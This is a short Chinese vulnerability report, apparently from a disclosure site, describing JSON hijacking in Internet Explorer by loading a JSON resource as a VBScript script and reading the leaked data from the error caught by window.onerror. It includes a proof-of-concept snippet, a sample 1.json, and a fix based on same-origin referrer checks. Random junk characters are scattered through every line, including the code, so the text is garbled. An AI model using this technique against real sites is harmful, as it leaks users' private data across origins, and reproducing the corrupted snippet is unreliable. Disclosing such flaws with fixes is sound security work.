简要描述:
& [0 ?# Z/ i0 N# d0 l2 }
3 U$ T" f7 P9 V( g" D: W由于某些资源容器对数据处理不当导致json劫持漏洞.) X6 u, t+ \3 d i
详细说明:
' ?* m" O) x: S6 _& T由于ie支持vbscript,所以script元素可以指定成vbscript语言:
" p" z: P3 b5 I7 |# c<script language=vbscript></script>: j. ^# Z1 m& z' c
2 H8 N0 X2 h' A/ P当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.5 p* P- Z c% O! L( P
漏洞证明:! j6 t) t% B4 m8 p- r
<script>
O ~2 v4 {% x! J/ }* owindow.onerror=function(_){
. r7 T3 f0 O' ~# Halert(_)$ K) b1 x$ V- Y& {( _3 J& d! P
}2 m/ a1 u7 |: [3 D* x
</script>+ B n0 J! Z6 J7 m$ Q. S$ g
<script language=vbscript src=1.json></script>
6 _9 [/ |7 t8 i/ Q6 M
( D' ?5 x z) ^* ^( X) @/ {
# k/ P' Z# @8 m( _6 i4 t1.json:
% ~$ c# i" i* F y5 J2 b J[{"name":"sogili","age":19}]
9 x4 H/ {) Q. G' \/ g修复方案:/ _$ u$ ` v. d6 c1 R1 ]* m: l
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |